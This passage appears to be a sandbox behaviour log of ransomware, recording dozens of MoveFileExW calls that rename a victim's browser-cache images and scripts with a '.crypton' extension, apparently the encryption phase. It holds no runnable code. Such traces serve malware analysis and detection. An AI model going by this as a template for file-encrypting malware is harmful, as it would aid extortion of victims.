halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa429np[1].png.crypton"), dwFlags=0x2) returned 1 [0198.449] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA42pjY[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa42pjy[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA42pjY[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa42pjy[1].png.crypton"), dwFlags=0x2) returned 1 [0198.452] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA61AKN[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa61akn[2].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA61AKN[2].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa61akn[2].png.crypton"), dwFlags=0x2) returned 1 [0198.456] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA6KizP[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa6kizp[2].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA6KizP[2].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa6kizp[2].png.crypton"), dwFlags=0x2) returned 1 [0198.462] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA7XCQ3[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa7xcq3[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA7XCQ3[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa7xcq3[1].png.crypton"), dwFlags=0x2) returned 1 [0198.465] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA8Tave[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa8tave[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA8Tave[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa8tave[1].png.crypton"), dwFlags=0x2) returned 1 [0198.468] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAfOIDq[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aafoidq[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAfOIDq[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aafoidq[1].png.crypton"), dwFlags=0x2) returned 1 [0198.471] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAkhMz9[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aakhmz9[2].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAkhMz9[2].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aakhmz9[2].png.crypton"), dwFlags=0x2) returned 1 [0198.483] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAmRY2Q[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aamry2q[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAmRY2Q[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aamry2q[1].png.crypton"), dwFlags=0x2) returned 1 [0198.487] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAni8qk[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aani8qk[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AAni8qk[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aani8qk[1].png.crypton"), dwFlags=0x2) returned 1 [0198.506] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\adition[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\adition[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\adition[1].js.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\adition[1].js.crypton"), dwFlags=0x2) returned 1 [0198.523] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.527] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BB8jcOr[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bb8jcor[2].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BB8jcOr[2].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bb8jcor[2].png.crypton"), dwFlags=0x2) returned 1 [0198.535] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB8ZbM[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb8zbm[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB8ZbM[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb8zbm[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.538] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB9wH0[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb9wh0[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB9wH0[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb9wh0[1].png.crypton"), dwFlags=0x2) returned 1 [0198.548] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBCFjo[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbcfjo[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBCFjo[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbcfjo[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.552] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBDtcM[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbdtcm[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBDtcM[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbdtcm[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.560] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBIeNJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbienj[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBIeNJ[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbienj[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.564] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBImKX[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbimkx[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBImKX[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbimkx[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.572] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBL4R9[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbl4r9[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBL4R9[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbl4r9[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.581] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBLhTZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbblhtz[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBLhTZ[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbblhtz[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.585] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBnhZY[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbnhzy[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBnhZY[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbnhzy[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.601] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPhAr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbphar[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPhAr[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbphar[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.609] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPiby[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpiby[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPiby[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpiby[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.615] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPmXJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpmxj[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPmXJ[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpmxj[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.687] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPS37[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbps37[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPS37[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbps37[1].png.crypton"), dwFlags=0x2) returned 1 [0198.693] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBQiBF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbqibf[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBQiBF[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbqibf[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.698] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBty8h[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbty8h[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBty8h[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbty8h[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.705] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVACL[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvacl[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVACL[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvacl[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.711] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVGyR[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvgyr[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVGyR[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvgyr[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.716] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVMtX[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvmtx[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVMtX[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvmtx[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.725] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVYsu[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvysu[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBVYsu[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbvysu[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.729] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBWLtW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbwltw[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBWLtW[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbwltw[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.733] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBX3xB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbx3xb[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBX3xB[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbx3xb[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.741] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBY98e[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbby98e[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBY98e[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbby98e[1].jpg.crypton"), dwFlags=0x2) returned 1 [0198.745] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBZYVP[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbzyvp[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBZYVP[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet 